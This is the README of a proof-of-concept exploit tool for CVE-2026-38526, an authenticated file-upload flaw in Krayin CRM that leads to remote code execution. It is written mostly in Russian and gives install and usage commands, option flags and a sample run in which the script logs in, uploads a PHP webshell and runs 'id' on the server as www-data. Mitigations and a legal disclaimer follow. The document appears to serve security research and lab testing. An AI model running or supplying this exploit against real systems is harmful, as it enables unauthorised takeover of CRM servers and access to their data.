CVE-2026-38526 — Krayin CRM ≤ 2.2.x Authenticated RCE

⚠️ Правовая оговорка: этот код предоставлен исключительно в образовательных целях и для авторизованного тестирования (CTF, bug bounty, частная лаборатория). Автор не несёт ответственности за незаконное использование.

Описание

Krayin CRM (Webkul) ≤ 2.2.x предоставляет endpoint /admin/tinymce/upload, который позволяет аутентифицированному пользователю (даже с низкими привилегиями) загружать файлы без проверки расширения. Затем файл отдаётся из папки storage/, что позволяет выполнить произвольный код PHP.

• Тип: Arbitrary File Upload → RCE
• CVSS: 9.9 (Критический)
• Требуется аутентификация: Да (любая действительная учётная запись)

Установка

git clone https://github.com/<TON_PSEUDO>/cve-2026-38526.git
cd cve-2026-38526
pip install -r requirements.txt

Использование

python3 cve-2026-38526.py -t http://target.tld -u [email protected] -p 'password' -c 'id'

Опции:

Опция	Описание
-t, --target	Корневой URL цели
-u, --user	Email учётной записи Krayin
-p, --password	Пароль
-c, --command	Команда для выполнения (по умолчанию: id)
--login-path	Путь для входа (по умолчанию: /admin/login)
--upload-path	Путь для загрузки (по умолчанию: /admin/tinymce/upload)
--timeout	HTTP-таймаут (по умолчанию: 15)

Пример

$ python3 cve-2026-38526.py -t http://billing.nexus.htb \
    -u [email protected] -p 'N27xh!!2ucY04' -c 'id'

[*] Récupération du token CSRF sur http://billing.nexus.htb/admin/login
[*] Envoi du formulaire de login
[+] Authentification réussie
[*] Upload de x8f2k1ab.php via http://billing.nexus.htb/admin/tinymce/upload
[+] Webshell accessible : http://billing.nexus.htb/storage/tinymce/x8f2k1ab.php
[*] Exécution : id

============================================================
[+] Commande : id
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

Меры противодействия

• Обновить Krayin CRM до исправленной версии.
• Ограничить расширения загружаемых файлов (whitelist).
• Запретить выполнение PHP в папках storage/ и uploads/.
• Применять принцип наименьших привилегий для учётных записей CRM.

Отказ от ответственности

Этот проект опубликован в целях исследования безопасности. Любое использование против систем без предварительного письменного разрешения является незаконным и строго запрещено.